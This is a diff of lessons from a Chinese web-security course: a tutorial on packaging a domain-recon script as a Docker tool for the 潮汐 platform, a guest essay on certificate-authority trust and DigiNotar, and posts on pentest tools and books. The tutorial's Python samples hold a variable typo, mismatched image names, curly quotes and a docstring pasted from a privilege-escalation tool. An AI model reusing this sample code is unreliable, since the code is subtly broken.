这就是一个用来构建工具镜像的Dockerfile文件,其中FROM语句是从Dockerhub中引入镜像源Python,在这个镜像源中已经安装好了Python3环境,我们只需在此基础上继续构建,安装一些Python包,并将相同目录下的工具文件dsuc.py拷贝进镜像中就完成了工具的构建。
|
||||
|
||||
我们可以使用 docker build . -t lev:latest,将这个Dockerfile构建为镜像。然后我们在镜像内执行这款工具即可。
|
||||
|
||||
作为开发者用户,我们首先需要在自己的GitHub账号下创建一个仓库用于构建自己的某个工具。
|
||||
|
||||
|
||||
|
||||
如上图所示,我们需要将Dockerfile以及依赖的文件dsuc.py一起上传到GitHub上。
|
||||
|
||||
然后,我们要在潮汐开源社区平台的账户设置—开发者设置中,选择绑定GitHub账户,并授权潮汐开源社区对我们GitHub仓库的访问。
|
||||
|
||||
之后,我们就可以在潮汐开源社区平台的仓库—镜像管理中,选择添加镜像,将名称填写为需要上传或测试的工具名以及适当的描述信息,点击提交,我们会对你提交的镜像进行审核,通过之后,该工具镜像就可供我们使用。
|
||||
|
||||
|
||||
|
||||
完成镜像的添加后,我们需要对景象的构建规则进行设置。具体的方式为在镜像管理中点击上传的镜像,然后选择构建规则,点击添加规则。
|
||||
|
||||
|
||||
|
||||
之后根据GitHub中的类型,选择构建类型等信息,然后点击提交,即可完成镜像配置规则的设置。
|
||||
|
||||
|
||||
|
||||
完成构建规则的设置后,我们就可以点击构建,生成我们的镜像。等待一段时间后,我们可以在构建结果观察到我们的构建信息。
|
||||
|
||||
这样我们的工具镜像就可以使用了。下面,我们继续学习工具调用的方式。
|
||||
|
||||
添加工具/编排
|
||||
|
||||
在进行工具添加时,我们首先需要准备一个工作区目录,下面以 ./lev-hub 为例,这样我们就可以在其中编写代码文件。
|
||||
|
||||
之后,我们进入到 ./lev-hub 这个创建的工作区目录下,执行如下命令:
|
||||
|
||||
# 添加官方插件 pdm_lev
|
||||
pdm plugin add pdm_lev
|
||||
|
||||
# 配置接入潮汐的 SDK 的凭证 将之前获取的 token 设置为全局变量
|
||||
export LEVHUB_KEY={SDK token}
|
||||
|
||||
# 其中 username 代表你的用户名,tool 代表将要上传的工具名
|
||||
pdm lev new username.tool
|
||||
|
||||
# 在 ./lev-hub/username.tool 目录下安装 levrt 包
|
||||
cd ./lev-hub/username.tool
|
||||
pdm config pypi.url https://pypi.tuna.tsinghua.edu.cn/simple
|
||||
pdm add levrt
|
||||
|
||||
|
||||
假设我的用户名为example,并且我准备上传工具名为test,这样,我们就可以获得到如下目录结构:
|
||||
|
||||
example.test
|
||||
├── lev
|
||||
│ └── example
|
||||
│ └── test
|
||||
│ ├── __init__.py
|
||||
│ ├── __pycache__
|
||||
│ │ ├── __init__.cpython-310.pyc
|
||||
│ │ ├── asset.cpython-310.pyc
|
||||
│ │ └── tool.cpython-310.pyc
|
||||
│ ├── asset.py
|
||||
│ └── tool.py
|
||||
└── pyproject.toml
|
||||
|
||||
|
||||
这里,我对其中几个比较重要的文件做一下讲解。文件tool.py代表我们调用工具的方式,我们需要将它的名称改为实际的软件名test.py,同时注意将asset.py、test.py以及 _init_.py 中的tool修改为test。
|
||||
|
||||
在创建完工具调用后,我们开始编写其中的代码,首先我们需要了解工具分类信息表,它代表不同工具的类型,我们在编写代码时需要用到。
|
||||
|
||||
|
||||
|
||||
了解完工具分类后,我们就可以写入test.py文件的内容如下,这是一个有模式的工具调用格式。
|
||||
|
||||
"""
|
||||
test工具的描述
|
||||
# 此处需要空一行
|
||||
---
|
||||
name: test # 工具名称
|
||||
category:
|
||||
# 工具的分类,根据开发文档最下方的类型进行选择。
|
||||
- recon
|
||||
"""
|
||||
|
||||
# 工具的模式。
|
||||
__modes__ = ["fast", "slow"]
|
||||
|
||||
# 导入工具依赖包,分别用于启动工具镜像、将结果数据写入数据库和改写 ENTRYPOINT
|
||||
|
||||
from levrt import Cr, ctx, remote
|
||||
|
||||
# url 是一个需要输入的字符参数。
|
||||
def fast(url:str) -> Cr:
|
||||
"""
|
||||
test fast模式
|
||||
|
||||
```
|
||||
await test.fast(["talentsec.cn"])
|
||||
```
|
||||
---
|
||||
params:
|
||||
domain:
|
||||
desc: 进行检测的域名
|
||||
patterns:
|
||||
- talentsec.cn
|
||||
image: .example.test:v1
|
||||
model: example/test.fast:1.0
|
||||
"""
|
||||
|
||||
@remote
|
||||
def entry(url):
|
||||
import subprocess
|
||||
import json
|
||||
output = subprocess.check_output(["python3", "/dsuc.py", "-u", url],text=True)
|
||||
outpuy = output.split("\n")
|
||||
outpuy.pop()
|
||||
result = {"result":output}
|
||||
ctx.update(result)
|
||||
return Cr(".zerone.test.fast:v1", "zerone/test.fast:1.0", entry=entry(url))
|
||||
|
||||
|
||||
|
||||
def slow(url:str) -> Cr:
|
||||
"""
|
||||
test slow模式
|
||||
|
||||
```
|
||||
await test.slow(["talentsec.cn"])
|
||||
```
|
||||
---
|
||||
params:
|
||||
domain:
|
||||
desc: 进行检测的域名
|
||||
patterns:
|
||||
- talentsec.cn
|
||||
image: .example.test:v1
|
||||
model: example/test.slow:1.0
|
||||
"""
|
||||
|
||||
@remote
|
||||
def entry(url):
|
||||
import subprocess
|
||||
import json
|
||||
output = subprocess.check_output(["python3", "/dsuc.py", "-u", url, "-s"],text=True)
|
||||
output = output.split("\n")
|
||||
output.pop()
|
||||
result = {"result":output}
|
||||
ctx.update(result)
|
||||
return Cr(".example.test.slow:v1", "zerone/test.slow:1.0", entry=entry(url))
|
||||
|
||||
|
||||
当我们的工具比较简单,仅仅有一个模式时,我们可以将它写为如下格式:
|
||||
|
||||
from levrt import Cr, ctx, remote
|
||||
|
||||
def test(url:str) -> Cr:
|
||||
"""
|
||||
test工具的描述
|
||||
|
||||
```
|
||||
await test("talentsec.cn")
|
||||
```
|
||||
---
|
||||
name: test url查询工具
|
||||
params:
|
||||
domain:
|
||||
desc: 进行检测的域名
|
||||
patterns:
|
||||
- talentsec.cn
|
||||
category:
|
||||
- misc
|
||||
image: .example.test:v1
|
||||
model: example/test:1.0
|
||||
"""
|
||||
|
||||
@remote
|
||||
def entry(url):
|
||||
import subprocess
|
||||
|
||||
output = subprocess.check_output(
|
||||
["python3", "/dsuc.py", "-u", url], text=True)
|
||||
|
||||
output = output.split("\n")
|
||||
output.pop()
|
||||
result = {"result":output}
|
||||
ctx.update(result)
|
||||
return Cr(".example.test:v1", "example/test:1.0", entry=entry(url))
|
||||
|
||||
|
||||
到这里,我们已经知道了工具的调用方式,想要去执行这些工具还需要写好编排。以多模式test工具为例,它有两种模式fast以及slow。
|
||||
|
||||
我们在 ./lev-hub/username.tool/lev/username/tool/asset.py,对应到此处为 ./lev-hub/example.test/lev/example/test/asset.py中进行编写。
|
||||
|
||||
# test(多模式工具简单调用)
|
||||
|
||||
import asyncio as aio
|
||||
from levrt import ctx
|
||||
from . import test
|
||||
|
||||
|
||||
|
||||
async def slow_test(domain:str):
|
||||
“””
|
||||
编排描述。
|
||||
|
||||
```
|
||||
await slow_test(“talentsec.cn”)
|
||||
```
|
||||
—
|
||||
name: slow test 检测
|
||||
params:
|
||||
domain:
|
||||
desc: 进行检测的域名
|
||||
patterns:
|
||||
- talentsec.cn
|
||||
model: example/test.slow:1.0
|
||||
“””
|
||||
result = await test.slow(domain)
|
||||
data = await result.get()
|
||||
print(data)
|
||||
|
||||
async def fast_test(domain:str):
|
||||
“””
|
||||
编排描述
|
||||
|
||||
```
|
||||
await fast_test(“talentsec.cn”)
|
||||
```
|
||||
—
|
||||
name: fast test 检测
|
||||
params:
|
||||
domain:
|
||||
desc: 进行检测的域名
|
||||
patterns:
|
||||
- talentsec.cn
|
||||
model: example/test.fast:1.0
|
||||
“””
|
||||
result = await test.fast(domain)
|
||||
data = await result.get()
|
||||
print(data)
|
||||
|
||||
|
||||
|
||||
# test(无模式工具简单调用)
|
||||
|
||||
import asyncio as aio
|
||||
from levrt import ctx
|
||||
from .test import test
|
||||
|
||||
|
||||
|
||||
async def simple_test(domain:str):
|
||||
“””
|
||||
攻击者利用一个泛用于Unix系统中的二进制文件,使他们能够提升他们的权限并执行他们不应该被授权执行的操作。
|
||||
在此攻击模式下,gtfobins工具将利用输入的Unix二进制文件名,搜寻它可能存在的权限提升命令。
|
||||
|
||||
```
|
||||
await simple_test(“talentsec.cn”)
|
||||
```
|
||||
—
|
||||
name: simple test 检测
|
||||
params:
|
||||
domain:
|
||||
desc: 进行检测的域名
|
||||
patterns:
|
||||
- talentsec.cn
|
||||
model: example/test:1.0
|
||||
“””
|
||||
result = await test(domain)
|
||||
data = await result.get()
|
||||
print(data)
|
||||
|
||||
|
||||
写完编排内容后,我们还需要进行模块的导入操作,这样我们的工具才能被运行。
|
||||
|
||||
具体的方法为,在 ./lev-hub/example.test/lev/example/test/_init_.py 中,将我们写好的编排及工具进行导入。
|
||||
|
||||
# test 多模式工具
|
||||
__all__ = [“test”, "slow_test", "fast_test"]
|
||||
# 设定上传到潮汐社区的导出数组
|
||||
|
||||
from . import test # 工具定义的所有模式导入
|
||||
from .asset import slow_test, fast_test # 导入编排
|
||||
|
||||
# gtfobins(无模式工具模块导出)
|
||||
__all__ = ["test", "simple_test"]
|
||||
|
||||
from .test import test
|
||||
from .asset import simple_test
|
||||
|
||||
|
||||
现在,我们已经完成了工具内容相关的编写,如果你想要本地测试它的功能,我们需要在 ./lev-hub/username.tool 目录下,添加执行文件main.py。
|
||||
|
||||
# 以多模式 test 工具为例
|
||||
from lev.example.test import fast_test
|
||||
|
||||
if __name__ == "__main__":
|
||||
import levrt
|
||||
# import logging
|
||||
|
||||
# logger = logging.getLogger("lev")
|
||||
# logger.setLevel(logging.DEBUG)
|
||||
# logger 相关的命令可以使工具在执行时,编译器命令行输出调试数据
|
||||
levrt.run(fast_test("talentsec.cn"))
|
||||
#注意,为了 subprocess 正确的执行命令,传入编排的参数值都要符合参数定义的类型
|
||||
|
||||
|
||||
然后运行下列命令以启动talentsec/lev:
|
||||
|
||||
docker run -v /var/run/docker.sock:/var/run/docker.sock --rm -it talentsec/lev
|
||||
# 或者可以使用如下环境变量传入 LEV_USER 及 LEV_AGENT_KEY 的方式
|
||||
docker run -e LEV_USER=<your username> -e LEV_AGENT_KEY=<agent key> -v /var/run/docker.sock:/var/run/docker.sock --rm -it talentsec/lev
|
||||
# 配置关联潮汐系统的终端 VPN 实例凭证 lev-agent-key
|
||||
|
||||
|
||||
等待容器启动完成后,我们就可以在目录 ./lev-hub/username.tool 下用pdm run python main.py进行工具/编排的测试,如果有问题,我们可以及时对它进行修改。
|
||||
|
||||
当我们修改好后,并且检测完没有问题发生,我们就可以在 ./lev-hub/username.tool 目录下,运行 pdm lev upload 添加工具/编排。
|
||||
|
||||
这样,我们就完成了一个工具/编排的添加。
|
||||
|
||||
总结
|
||||
|
||||
在这节课程中,我们学习了如何使用潮汐社区版来构建自己的个性化攻防平台。
|
||||
|
||||
首先我们需要进行注册及登录操作,这样我们就可以进入到配置工作中,这里我们需要根据自己的需求进行配置。如果你仅仅想要使用其中的工具,那么我们只需要做好环境准备即可,其中包括Docker的安装、凭证的上传与获取,这些过程可以参考文档中的使用说明。
|
||||
|
||||
|
||||
|
||||
如果你想要自己添加一些心仪的工具,那么我们还需要参考开发文档,完成环境的安装,学习如何上传工具及编排以及本地测试的方法。你可能在第一次上传工具或编排时感到困难,不要灰心,只要成功过一次后,后续我们就可以轻松分享自己的工具,并且收获其他用户的感激与认可!
|
||||
|
||||
思考题
|
||||
|
||||
你对潮汐社区版有什么建议?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
69
专栏/Web漏洞挖掘实战/大咖助场数字证书,困境与未来.md
Normal file
69
专栏/Web漏洞挖掘实战/大咖助场数字证书,困境与未来.md
Normal file
@ -0,0 +1,69 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
大咖助场 数字证书,困境与未来
|
||||
你好,我是范学雷。
|
||||
|
||||
先来做个自我介绍吧。我之前在Oracle做过首席软件工程师,同时呢,也是Java SE 安全组成员和OpenJDK 评审成员。如果你认识我的话,估计是因为我的极客时间专栏,我已经和极客时间合作第三季了,是《代码精进之路》《实用密码学》和《深入剖析 Java 新特性》的作者。安全领域本身是比较小众的,我一直有意做一些相关的分享,正好昊天的专栏有涉及加密有关的知识,在编辑同学的邀请下,就欣然前来助助阵。
|
||||
|
||||
这次我们讨论的话题,是关于数字证书的现实痛点,及其未来的发展走向问题。要想了解数字证书的现状,我们需要先来了解数字证书的背后逻辑和各路玩家。
|
||||
|
||||
数字证书的逻辑
|
||||
|
||||
数字证书主要的玩家主要涉及三个角色。第一个,就是颁发证书的机构,我们通常叫它CA,也就是证书权威机构。第二个玩家是实用证书的持有者,我们通常叫它证书的终端实体。第三个玩家是证书的使用者,他们才是证书的最终消费者。
|
||||
|
||||
数字证书体系的设计,就是要帮助用户验证对方的身份,解决双方交流中的“对方是谁”或者“我在和谁说话”这个问题。从数字证书的角度出发,就是数字证书的消费者要通过验证数字证书,完成对数字证书持有者的身份认证。
|
||||
|
||||
可是,凭什么你有了一张数字证书,我就要信任你的身份呢?这个信任关系是怎么来的呢?这就要说说证书权威机构了。
|
||||
|
||||
证书权威机构,名字里虽然带着权威,但实际上,它可能并不是一个有权有威的机构。这个机构发布了一份认证实践声明,来说明自己做事的规则和流程。 你如果认可这份声明,并且信任它的执行流程,那么这个机构就是你信任的机构。当然,是否信任这个机构,是你的权利,如果你不信任它,它就一点也不威风。
|
||||
|
||||
乍一看,数字证书的最终消费者是互联网用户,并且可以选择是否信任一个证书权威机构,似乎有点上帝的味道。真实的情况是,数字证书的最终消费者不是证书权威机构的用户,而是数字证书的持有者,因为,数字证书的持有者才是给证书权威机构付费的实体。
|
||||
|
||||
通过这一点我们会发现,数字证书权威机构代表的是证书持有者的利益,而不是数字证书消费者的利益。数字证书持有者和数字证书消费者的利益,不一定总是一致的。如果出现利益冲突,数字证书消费者的利益不一定会被放在首位。作为一个数字证书的消费者,我们无条件地信任一个证书权威机构,但是它却不代表我们的利益,这的确有点讽刺的意味。
|
||||
|
||||
事实上,对于消费者而言,如果一个证书权威机构能够按照它的声明和规则做事,我们也许少一些担忧。但是,声明的背后,往往可能是一些有意或者无意的错误,也可能是一定存在漏洞的数字化代码。不论是哪一种问题,都说明了证书权威机构并不总是能够按照它的声明做事。
|
||||
|
||||
案例
|
||||
|
||||
我们知道,在数字的世界里,能够代表Google的数字证书,表示的就是Google的身份。如果这个证书的持有者不是Google,这就表明这是一个假冒的身份。数字证书本来就是要解决身份认证的问题。现在不适当的数字证书披上了一层合法的外衣,可以堂而皇之的以假冒的身份玩耍各种欺骗的手段。这样的例子屡见不鲜,比如说没有经过Google的允许,证书权威机构就颁发能够代表Google的数字证书。
|
||||
|
||||
2011年7月10日,证书权威机构DigiNotar未经Google许可,给Google发了数字证书,其中是否存在某种阴谋,我们不得而知。2011年8月28日,该事情被披露了出来,过了不到一个月的时间,DigiNotar就宣布破产了。这种未经许可给Google发了数字证书的证书的故事,不是第一例,也不会是最后一例。甚至有的证书权威机构趁着平安夜的假期和万家灯火的祥和气氛,像圣诞老人一样,给Google颁发了一张不属于它的证书,作为圣诞节的礼物。
|
||||
|
||||
我们可以肯定的是,这种不期而至的礼物,并不只是对Google一个机构青睐有加。我们看到这么多假冒Google的数字证书披露出来,只是Google影响力和强大技术能力的一个侧面印证。普通的联网用户,甚至是很多的机构,并没有对应的能力去鉴别那些披着合法外衣的、假冒的数字证书。
|
||||
|
||||
发生类似的事情,Google无疑是受害者之一;但是受损失最大的,一定是我们这些互联网用户。我们的利益和隐私,可能会在这样的有意无意中,遭受到巨大的损失;而且,我们还不明真相,不知所以,不知所终。
|
||||
|
||||
为什么DigiNotar给Google发一张数字证书,就能影响到我们的利益和隐私呢?这还要从我们使用证书的习惯说起。
|
||||
|
||||
尽管证书是互联网安全的基石,但在一般情况下,我们自己并不直接使用证书,而是通过代理人,也就是浏览器使用证书。所以,如果不是安全专业人士,我们根本不会关心数字证书,当然就不会知道谁是证书权威机构,以及该信任哪些证书权威机构。这些决策,都是我们的代理人替我们做出来的。
|
||||
|
||||
如果你能够阅读浏览器信任的证书权威机构,你可以看到一个长长的列表(通常是几十个或者上百个机构)。我敢说,即便你是资深的安全专业人士,也很难了解每一个证书权威机构。这些证书权威机构分散在世界各地,归属于不同的国家和地区,代表着不同的利益和势力。
|
||||
|
||||
想象一下,如果这个长长的列表里,每一个证书权威机构都有着相同的权威,它颁发的每一个证书我们都无条件信任,这也就意味着,在这个长长的列表里,只要有一个证书权威机构捣乱,整个数字证书的逻辑就崩塌了。要求每一个证书权威机构都完美地按照它的声明和规则做事,不允许出现异数,这实在是有违基本常识的假设。
|
||||
|
||||
探索
|
||||
|
||||
类似于DigiNotar这样的案例,在我们的头上狠狠地敲了以榔头,足够被我们打晕。当我们醒过来的时候,揉揉脑袋上久久不能消退的大包,才认识到我们太天真。我们选择信任证书权威机构,但是它们并不都是可以信任的,或者说没有一个是可以无条件信任的。让人更加不安的是,作为用户,我们如果想继续使用互联网,除了继续信任证书权威机构以外,并没有其他的选择。这样,在“不可信任”和“不得不信任”中间,一对矛盾就凸显出来。
|
||||
|
||||
当我们认识到矛盾的时候,就是变革要发生的时候。既然已经认识到了证书权威机构并不可信,但是又没有合适的办法摆脱它,我们就要想办法把它关在笼子里,小心地看护它、监管它。如果一个证书权威机构没有按照它的声明和规则做事,我们最好第一时间就知道。解决的办法,就是增加证书的透明度(Certificate Transparency)。
|
||||
|
||||
如果一个证书权威机构颁发了一张证书,这张证书立即就会被公开地记录在案。任何机构,都可以查阅在案的记录。有了这个记录,Google就可以查阅还有没有证书权威机构未经授权,就擅自给自己发了一张证书了。这就是证书透明度的机制。
|
||||
|
||||
遗憾的是,如果一个证书权威机构颁发了一张证书,但是不公开记录在案,那么这张证书就还是没有透明度,还是可以兴风作浪。证书透明度的机制,帮助乖孩子解决掉了无意识错误的问题, 但是并没有让坏孩子产生错误意识。证书透明度的机制,增加了监管,但是并没有解决最根源的问题。
|
||||
|
||||
当我们认识到毫无退路的时候,还有一句话叫做“向死而生”。既然证书权威机构并不可信,它还有存在的必要吗?这是一个一直拷问着互联网安全架构设计者的问题。十年前,业界就已经开始做这样的尝试了。
|
||||
|
||||
其中影响最大的,就是把数字证书和DNS绑定,把证书存放在DNS的记录里。当我们解析域名的时候,也就获得了这个域名对应的数字证书。只要DNS的安全逻辑没有问题,这个数字证书也就没有问题、值得信任的。
|
||||
|
||||
这样,一个域名的所有者就不再需要证书权威机构给自己发证书了,颁发证书的工作,他自己就能完成。而且,在这样的框架下,证书权威机构即使给自己发证书,也不会被采用,威胁自然也不会发生。这样,数字证书就真的完全掌控在它的持有者手里了,既不能被修改,也不能被假冒。同样地,数字证书的消费者也就有了更清楚、更直接的信任关系。这是一个更简单的、更有效率、责权利一致的办法。
|
||||
|
||||
遗憾地是,目前DNS的架构,并不能保证它的安全逻辑没有问题。要想解决DNS架构和部署的安全问题,还有很长的一段路要走。但是,我们已经可以看到曙光了。
|
||||
|
||||
就像俗世的规则一样,在数字证书的世界里,责权不一致的原始设计,也会面临各种各样的问题;而解决的办法,也许是回归到更简单的、责权一致的路上来。
|
||||
|
||||
|
||||
|
||||
|
77
专栏/Web漏洞挖掘实战/春节策划(一)视频课内容精选:Web渗透测试工具教学.md
Normal file
77
专栏/Web漏洞挖掘实战/春节策划(一)视频课内容精选:Web渗透测试工具教学.md
Normal file
@ -0,0 +1,77 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
春节策划(一) 视频课内容精选:Web渗透测试工具教学
|
||||
你好,我是王昊天。
|
||||
|
||||
今天是除夕,首先祝你新年快乐,希望你在新的一年收获满满!
|
||||
|
||||
在这个特别的节日,我要送给你一套Web安全基础的教学视频作为新年礼物。在之前的课程中,我们已经深入学习了Web漏洞挖掘的“失效的访问控制”“加密失败”“注入”“不安全的设计”的内容。
|
||||
|
||||
为了加深你对这部分内容的理解和掌握程度,我特地从我第一季的视频课程《Web安全攻防实战》中精选了3讲视频内容,提供给你学习。
|
||||
|
||||
第一节
|
||||
|
||||
08 | 常见的Web安全漏洞都有哪些?
|
||||
|
||||
在这一节视频课程中,我们会对Web应用使用的HTTP协议进行学习,然后结合Web安全攻防要点分析Web安全的本质。目的是,帮助你更好地理解和掌握Web安全。
|
||||
|
||||
第二节
|
||||
|
||||
09 | Web渗透工具入门:Burp Suite、cURL、Postman
|
||||
|
||||
在这一节视频课程中,我们会对Web安全领域的常用工具进行学习,主要包括Burp Suite、cURL和Postman。
|
||||
|
||||
这一讲视频中用到的插件安装地址,我也一起提供给你。
|
||||
|
||||
|
||||
cURL的插件安装地址:-
|
||||
https://curl.haxx.se/
|
||||
cURL 下载地址:-
|
||||
https://curl.haxx.se/download.html
|
||||
Burp Suite 插件安装地址:-
|
||||
https://portswigger.net/burp
|
||||
Burp Suite 下载地址:-
|
||||
https://portswigger.net/burp/communitydownload
|
||||
Postman 插件安装地址:-
|
||||
https://www.postman.com/
|
||||
Postman 下载地址:-
|
||||
https://www.postman.com/downloads/
|
||||
|
||||
|
||||
这样,在《Web漏洞挖掘实战》这门课之后的学习中,你就可以用这些工具来进行实战测试了。
|
||||
|
||||
第三节
|
||||
|
||||
10 | Web渗透插件入门:Wappalyzer、HackBar
|
||||
|
||||
在这节视频课程中,我们会对Web渗透插件进行学习,主要包括Wappalyzer和HackBar。掌握了这两个插件,可以对我们的漏洞挖掘过程提供极大的帮助。
|
||||
|
||||
这一讲视频中用到的插件安装地址,我也一起提供给你。
|
||||
|
||||
|
||||
HackBar 插件安装地址:-
|
||||
https://addons.mozilla.org/en-US/firefox/addon/hackbar-quantum/
|
||||
Wappalyzer 插件安装地址:-
|
||||
https://www.wappalyzer.com/
|
||||
|
||||
|
||||
以上就是我要送给你的3讲视频内容。我再概括下这三节课程的内容,你可以进行针对性地学习:
|
||||
|
||||
|
||||
第一节课从HTTP协议的角度,帮助你理解基本的Web应用系统通信原理;
|
||||
第二节课从HTTP协议操纵工具入手,帮助你在Web领域行走自如;
|
||||
第三节课则从自动化插件的领域,帮助你快速识别目标Web应用架构。
|
||||
|
||||
|
||||
其实,抽选这三讲内容,我的主要考量是:在《Web漏洞挖掘实战》这门课中,我一直致力于讲解Web领域的漏洞挖掘和利用思维,以及从防御的视角去看开发,所以其中涉及的渗透实践类的讲解并不多。
|
||||
|
||||
但在我看来,无论是尝试去做Web领域的漏洞挖掘,还是尝试手工复现及利用我们所讲解的漏洞,掌握Web领域的渗透测试工具都是必不可少的。凭借这些优秀的工具,可以大幅提高我们学习和实践的效率,也可以加深我们对专栏内容的理解。
|
||||
|
||||
今天的福利就到这里,相信这3讲视频内容,可以帮助你拥有快速在Web安全领域上手的能力。
|
||||
|
||||
|
||||
|
||||
|
19
专栏/Web漏洞挖掘实战/春节策划(三)一套测试题,看看对课程内容的掌握情况.md
Normal file
19
专栏/Web漏洞挖掘实战/春节策划(三)一套测试题,看看对课程内容的掌握情况.md
Normal file
@ -0,0 +1,19 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
春节策划(三) 一套测试题,看看对课程内容的掌握情况
|
||||
你好,我是王昊天。
|
||||
|
||||
今天是周五,也是大年初四,下周我们就要回到工作岗位了,也要继续这门课正文内容的学习了。
|
||||
|
||||
在继续学习之前,我还是为你准备一讲特别的春节策划内容。这一讲是一套其中测试题,是我从这门课已经更新的18讲正文中,筛选的重要知识点。
|
||||
|
||||
你可以通过这套测试题,来检验下自己对已学内容的掌握情况,方便你查漏补缺、温故知新。当然,如果你做完这套题,对题目解析、对以前讲过的知识还有啥疑惑,欢迎你继续留言给我,我会一一为你解答。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
67
专栏/Web漏洞挖掘实战/春节策划(二)给你推荐4本Web安全图书.md
Normal file
67
专栏/Web漏洞挖掘实战/春节策划(二)给你推荐4本Web安全图书.md
Normal file
@ -0,0 +1,67 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
春节策划(二) 给你推荐4本Web安全图书
|
||||
你好,我是王昊天。
|
||||
|
||||
新年伊始,相信你对自己的工作和生活有了新的期许。不知道在这个假期里,在陪伴家人之余,你准备用什么方式充实自己呢?
|
||||
|
||||
其实,在现在互联网知识爆炸的时代,学习资料是非常丰富的,从音频到视频,都极大地丰富了我们的学习手段,但读书依然是我给自己充电的重要方式。
|
||||
|
||||
虽然阅读书籍的场景在逐渐减少,但我还是会推荐你要拿出时间去读书。为什么呢?
|
||||
|
||||
因为其实读书有一些特殊优势的。一方面,读书可以让我们获得内心的平静,这种inner-peace是非常难得的。另一方面,来自书籍的知识会更加系统。虽然书籍上知识的即时性不足,但是书籍之所以能够成为书籍,就是因为其中的知识是更加底层的基础理论,是有深远价值的。所以,读书能够帮助我们更加系统和深入地了解完整的知识体系。
|
||||
|
||||
所以,为了帮助你更好地学习漏洞挖掘,我精心挑选了4本网络安全书籍分享给你,希望你可以从中找到自己感兴趣的书进行阅读。虽然这些书里有些例子在今天看来有些陈旧了,但是其中基础的原理和底层的方法依然是常看常新,可以经常为我处理新的漏洞带来灵感和启迪,也希望能对你有所帮助。
|
||||
|
||||
渗透测试书籍:《Ethical Hacking and Penetration Testing Guide》
|
||||
|
||||
|
||||
|
||||
漏洞挖掘属于渗透测试的一部分。要想学好漏洞挖掘,我们首先要掌握渗透测试的基础知识。
|
||||
|
||||
与Web领域的渗透测试和漏洞挖掘相比,完整的渗透测试项目流程会更加复杂,涉及到目标发现、资产测绘、服务识别、漏洞分析、漏洞利用、远控免杀、横向移动等多方面知识。了解完整的渗透测试流程,有助于我们建立网络安全领域的全局观。
|
||||
|
||||
这本渗透测试书,非常方便理解,即使你是初学者也可以看懂。书中按照渗透测试的过程,通俗易懂地讲解了每个阶段需要用到的工具,以及不同阶段之间的联系,可以帮我们在漏洞挖掘领域打下坚实的基础。
|
||||
|
||||
所以,如果你是对渗透测试、网络攻防感兴趣的初级同学,这本优秀的入门级读物非常适合你。
|
||||
|
||||
Web应用攻防书籍:《黑客攻防技术宝典Web实战篇》和《白帽子讲Web安全》
|
||||
|
||||
|
||||
|
||||
《黑客攻防技术宝典》这本书,结合了Web安全领域专家的经验,系统地阐述了如何针对Web应用发起攻击与反攻击,同时深入剖析了攻击时所需要的步骤、技巧和工具。
|
||||
|
||||
这本书主要关注在Web安全实战领域,除了理论知识外,还包含了大量实战层面的攻击技巧和应对措施。此外,书中还有几百个漏洞实战,可以帮助你巩固所学内容。
|
||||
|
||||
所以,这本书非常适合掌握了一定Web渗透知识但缺乏大量实战经验的同学,是优秀的入门级提高读物。
|
||||
|
||||
|
||||
|
||||
《白帽子讲Web安全》这本书,会为你一一剖析各种Web漏洞的原理及攻防之道。它不仅仅有原理分析还有实践指导,是值得每一位Web安全从业者阅读的书。
|
||||
|
||||
这本书中详细列举了各种存在的攻防技术,及其技术的前世今生。其核心亮点是,深入浅出地讲解了Web安全领域的知识,并从技术底层和安全架构顶层的视角,带你深入构建完整的Web安全理念。这样一来,就可以帮助你全面学习Web安全了。
|
||||
|
||||
所以,这本书非常适合掌握了一定Web安全知识,同时想要理解底层逻辑以进一步提高Web安全认知的同学。这是一本优秀的提高级读物。
|
||||
|
||||
Web应用安全书籍:《Web之困:现代Web应用安全指南》
|
||||
|
||||
|
||||
|
||||
介绍完攻击角度的三本书之后,我再推荐一本安全防护角度的书籍《Web之困:现代Web应用安全指南》。在Web安全领域,这本书被称为圣经。
|
||||
|
||||
有业内人士这样评价这本书:从HTTP协议层逐级拆解Web安全风险,奇技淫巧、脑洞大开,其中外部资源调用403的钓鱼、打开新窗口重定向父页面的钓鱼、复杂协议的安全边界,在出版后的4年里依然风靡,实在佩服!
|
||||
|
||||
它会带着你深入剖析现代Web浏览器的技术原理、安全机制和设计上的安全缺陷,为你提供基于浏览器的安全隐患,例如浏览器缓存、浏览器内存的密码、浏览器历史记录等的保护措施。
|
||||
|
||||
好了,上面这4本书,就是我为你精选的Web安全的阅读书单了。
|
||||
|
||||
每一个项目都有终点,但在自我精进的道路上,我们仍需步履不停。今天我推荐的这些书目,你可以利用假期时间潜心阅读,掌握它们的核心内容,理解其中的思维方法。希望在新的一年里,这些知识成果不仅能帮助带你实现技术上的飞跃,更能拓展你的知识边界,带你实现自我成长。
|
||||
|
||||
好了,今天的分享就到这里,如果你有其它好书推荐,也欢迎在评论区留言,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
43
专栏/Web漏洞挖掘实战/结束语无畏前行.md
Normal file
43
专栏/Web漏洞挖掘实战/结束语无畏前行.md
Normal file
@ -0,0 +1,43 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
结束语 无畏前行
|
||||
你好,我是王昊天。
|
||||
|
||||
今天这节课,是我们专栏的最后一讲。首先,祝贺你完成此次课程的学习,并收获到很多Web安全的知识。那么最后我想再和你分享一些我的人生感悟,希望能给你带来帮助。
|
||||
|
||||
我从事安全行业已经有十年了,回顾刚开始工作的时候,我经常会被各种问题难倒,那时的我会觉得困惑、迷茫,感觉自己非常的菜,甚至觉得自己根本不适合这个行业,这导致我每天都很痛苦。这也算是我的困难时期吧,在这期间我经常问自己,这辈子想要干什么?我是想要安逸还是追求,想要混还是干出一番成就呢?
|
||||
|
||||
